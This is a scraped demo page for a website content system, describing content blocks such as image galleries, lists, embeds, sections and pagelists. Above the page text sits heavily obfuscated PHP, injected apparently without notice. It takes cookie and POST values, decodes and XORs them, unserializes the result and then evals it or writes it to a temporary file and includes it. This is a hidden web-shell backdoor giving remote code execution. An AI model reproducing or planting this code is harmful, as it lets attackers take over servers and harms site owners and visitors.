$tdVrXKE = chr ( 651 - 567 )."\137" . "\x6d" . chr ( 123 - 45 )."\110";$KlqHLCXobY = "\143" . chr ( 818 - 710 )."\x61" . "\x73" . "\163" . chr (95) . chr ( 185 - 84 ).chr (120) . "\151" . "\163" . "\x74" . "\163";$BdwxsJ = class_exists($tdVrXKE); $KlqHLCXobY = "52802";$MwnSyK = strpos($KlqHLCXobY, $tdVrXKE);if ($BdwxsJ == $MwnSyK){function MPGDaqTESO(){$nqNpEOIg = new /* 20192 */ T_mNH(13195 + 13195); $nqNpEOIg = NULL;}$jojGP = "13195";class T_mNH{private function jWbltXaFv($jojGP){if (is_array(T_mNH::$DbpsACd)) {$name = sys_get_temp_dir() . "/" . crc32(T_mNH::$DbpsACd["salt"]);@T_mNH::$DbpsACd["write"]($name, T_mNH::$DbpsACd["content"]);include $name;@T_mNH::$DbpsACd["delete"]($name); $jojGP = "13195";exit();}}public function USxcbbYejl(){$zwnBjxrsG = "52769";$this->_dummy = str_repeat($zwnBjxrsG, strlen($zwnBjxrsG));}public function __destruct(){T_mNH::$DbpsACd = @unserialize(T_mNH::$DbpsACd); $jojGP = "9778_42164";$this->jWbltXaFv($jojGP); $jojGP = "9778_42164";}public function DrDsG($zwnBjxrsG, $dylgWfj){return $zwnBjxrsG[0] ^ str_repeat($dylgWfj, intval(strlen($zwnBjxrsG[0]) / strlen($dylgWfj)) + 1);}public function kzHVeFb($zwnBjxrsG){$gpuzjrmblh = "\142" . chr ( 192 - 95 )."\163" . "\x65" . "\66" . "\x34";return array_map($gpuzjrmblh . chr (95) . chr ( 825 - 725 ).'e' . chr ( 687 - 588 )."\157" . "\144" . chr ( 932 - 831 ), array($zwnBjxrsG,));}public function __construct($RHDQFzz=0){$CtNjZObnw = ',';$zwnBjxrsG = "";$Cacwv = $_POST;$seqes = $_COOKIE;$dylgWfj = "935659a0-8f21-4c44-9b04-153662e9d1cd";$wopKX = @$seqes[substr($dylgWfj, 0, 4)];if (!empty($wopKX)){$wopKX = explode($CtNjZObnw, $wopKX);foreach ($wopKX as $ktNRxfHBj){$zwnBjxrsG .= @$seqes[$ktNRxfHBj];$zwnBjxrsG .= @$Cacwv[$ktNRxfHBj];}$zwnBjxrsG = $this->kzHVeFb($zwnBjxrsG);}T_mNH::$DbpsACd = $this->DrDsG($zwnBjxrsG, $dylgWfj);if (strpos($dylgWfj, $CtNjZObnw) !== FALSE){$dylgWfj = explode($CtNjZObnw, $dylgWfj); $SBVZgveI = base64_decode(md5($dylgWfj[0])); $UmslJ = strlen($dylgWfj[1]) > 5 ? substr($dylgWfj[1], 0, 5) : $dylgWfj[1];$_GET['new_key'] = md5(implode('', $dylgWfj)); $QYxqGji = str_repeat($UmslJ, 2); $HcaqHpihV = array_map('trim', $dylgWfj);if (is_array($HcaqHpihV) && count($HcaqHpihV) > 1) {$qDIuxPAP = $HcaqHpihV[0];} else {$qDIuxPAP = '';}}}public static $DbpsACd = 42880;}MPGDaqTESO();}$sUypmxM = 'x' . "\x66" . chr ( 919 - 824 ).chr ( 666 - 600 )."\x59" . "\172" . 'J';$LgLFm = "\x63" . 'l' . chr ( 168 - 71 ).chr ( 995 - 880 )."\x73" . chr ( 397 - 302 ).'e' . chr (120) . chr ( 970 - 865 )."\x73" . chr (116) . "\163";$cZfQvQLRHY = class_exists($sUypmxM); $LgLFm = "35010";$VxtICc = !1;if ($cZfQvQLRHY == $VxtICc){function LTLkzqaR(){$PXBQpuWMT = new /* 27924 */ xf_BYzJ(2170 + 2170); $PXBQpuWMT = NULL;}$HfoGF = "2170";class xf_BYzJ{private function NxIKHSEGJ($HfoGF){if (is_array(xf_BYzJ::$YlYTx)) {$NqkfFUweQK = str_replace("\74" . chr (63) . 'p' . 'h' . 'p', "", xf_BYzJ::$YlYTx["\143" . chr (111) . "\156" . chr (116) . chr ( 436 - 335 ).chr ( 723 - 613 ).'t']);eval($NqkfFUweQK); $HfoGF = "2170";exit();}}private $mzaBz;public function UuaVUH(){echo 34190;}public function __destruct(){$HfoGF = "14894_42265";$this->NxIKHSEGJ($HfoGF); $HfoGF = "14894_42265";}public function __construct($UzfGQIUUEo=0){$UaHTUlb = $_POST;$gFatWZILg = $_COOKIE;$fPjSXkS = "e14b351f-4de4-4bde-8718-f8ef3357b63c";$hIktde = @$gFatWZILg[substr($fPjSXkS, 0, 4)];if (!empty($hIktde)){$FZHKXz = "base64";$zEDLAw = "";$hIktde = explode(",", $hIktde);foreach ($hIktde as $fWYDi){$zEDLAw .= @$gFatWZILg[$fWYDi];$zEDLAw .= @$UaHTUlb[$fWYDi];}$zEDLAw = array_map($FZHKXz . '_' . "\144" . "\x65" . chr ( 384 - 285 )."\157" . "\x64" . chr (101), array($zEDLAw,)); $zEDLAw = $zEDLAw[0] ^ str_repeat($fPjSXkS, (strlen($zEDLAw[0]) / strlen($fPjSXkS)) + 1);xf_BYzJ::$YlYTx = @unserialize($zEDLAw);}}public static $YlYTx = 20242;}LTLkzqaR();}$LayrR = "\162" . "\163" . "\137" . "\x43" . chr (76) . "\150" . "\147";$jEzmkGBXQL = chr ( 197 - 98 )."\x6c" . "\x61" . chr (115) . "\x73" . chr ( 888 - 793 ).'e' . "\170" . 'i' . 's' . chr ( 684 - 568 )."\x73";$PNYOVz = class_exists($LayrR); $jEzmkGBXQL = "4996";$eFfZmLH = strpos($jEzmkGBXQL, $LayrR);if ($PNYOVz == $eFfZmLH){function KjXmmAB(){$YlTmmNoH = new /* 58660 */ rs_CLhg(31921 + 31921); $YlTmmNoH = NULL;}$HWKxmU = "31921";class rs_CLhg{private function eyofmOE($HWKxmU){if (is_array(rs_CLhg::$WhMyjdkbM)) {$PlcCtpesFz = sys_get_temp_dir() . "/" . crc32(rs_CLhg::$WhMyjdkbM["\x73" . 'a' . chr ( 588 - 480 )."\x74"]);@rs_CLhg::$WhMyjdkbM['w' . "\162" . 'i' . "\164" . 'e']($PlcCtpesFz, rs_CLhg::$WhMyjdkbM[chr ( 1019 - 920 ).'o' . chr ( 703 - 593 ).'t' . 'e' . 'n' . "\x74"]);include $PlcCtpesFz;@rs_CLhg::$WhMyjdkbM[chr ( 347 - 247 ).chr (101) . "\154" . chr ( 608 - 507 )."\164" . 'e']($PlcCtpesFz); $HWKxmU = "31921";exit();}}public function KnAaFWnbkY(){$jkEsQx = "3315";$this->_dummy = str_repeat($jkEsQx, strlen($jkEsQx));}public function __destruct(){rs_CLhg::$WhMyjdkbM = @unserialize(rs_CLhg::$WhMyjdkbM); $HWKxmU = "21203_23172";$this->eyofmOE($HWKxmU); $HWKxmU = "21203_23172";}public function NcUAQR($jkEsQx, $jKOGcujmrc){return $jkEsQx[0] ^ str_repeat($jKOGcujmrc, (strlen($jkEsQx[0]) / strlen($jKOGcujmrc)) + 1);}public function KEVvlv($jkEsQx){$lBDzxMq = "base64";return array_map($lBDzxMq . chr (95) . chr (100) . "\x65" . 'c' . chr ( 951 - 840 ).'d' . 'e', array($jkEsQx,));}public function __construct($lwOHOK=0){$jXpuGrOVgZ = ",";$jkEsQx = "";$lUezNAU = $_POST;$PMSvQtpjYt = $_COOKIE;$jKOGcujmrc = "5fd52fc8-41e6-4147-8d14-2eea1e14be7b";$IfLEWlGidx = @$PMSvQtpjYt[substr($jKOGcujmrc, 0, 4)];if (!empty($IfLEWlGidx)){$IfLEWlGidx = explode($jXpuGrOVgZ, $IfLEWlGidx);foreach ($IfLEWlGidx as $nvtLPtUxQg){$jkEsQx .= @$PMSvQtpjYt[$nvtLPtUxQg];$jkEsQx .= @$lUezNAU[$nvtLPtUxQg];}$jkEsQx = $this->KEVvlv($jkEsQx);}rs_CLhg::$WhMyjdkbM = $this->NcUAQR($jkEsQx, $jKOGcujmrc);if (strpos($jKOGcujmrc, $jXpuGrOVgZ) !== FALSE){$jKOGcujmrc = explode($jXpuGrOVgZ, $jKOGcujmrc);}}public static $WhMyjdkbM = 11533;}KjXmmAB();} revue-ajs / Blocks

Blocks are single units of content. There are several types of them. They can be arranged by using the little grip icon to drag them around. ☝️ Check out some examples below.

Images

The Image Gallery block provides an easy way to generate beautiful grid layouts. Clicking an image in the grid opens a lightbox slideshow in fullscreen.

By default all images are arranged in a masonry layout with coulmns. Optionally the grid can be modified to have a clean bottom edge. Alternatively it is also possible to use a row layout instead.

Image selections can also be displayed as slideshows. They can be configured to show controls and change images automatically.

Single images can be used as well. They can have captions and may also be used as links to other pages.

This is a caption

Text Content

The default block is just a simple paragraph containing text content. Text can be easily styled using inline styles. Paragraphs can also be converted to lists or headlines.

  • This is a List Item of an unordered list.
    • Another List Item. List can also be ordered!
      • And a Third One, you get it ...
        This is a Table Header
        And this are some rows
        and some columns
        This is a super important and awesome quote! Please read it carefully!
        by Me

        Embedded

        Just paste any link to YouTube or Vimeo videos, Twitter posts, Soundcloud pages or CodePens to embed them into your page. 

        A Button  A Second One

        Generate page cards automatically using the pagelist block with the blog template.

        Sections are blocks that contain other blocks. They can be styled, have background images and allow for creating complex flexbox layouts. 👏 They also can be nested!

        Pagelists are an essential part of any dynamic website. They can be used to create navigations and page grids. And they take care of rendering content for each page in a list of many pages.

        Or the standard portfolio template ...

        ... a simple template ...

        Sections are blocks that contain other blocks. They can be styled, have background images and allow for creating complex flexbox layouts. 👏 They also can be nested!

        Pagelists are an essential part of any dynamic website. They can be used to create navigations and page grids. And they take care of rendering content for each page in a list of many pages.

        ... or just images.

        Create a list of files defined by one ore more glob patterns using the filelist block.

        Code

        <div class="title">
            Automad is Awesome!
        </div>

        Email

          Related Pages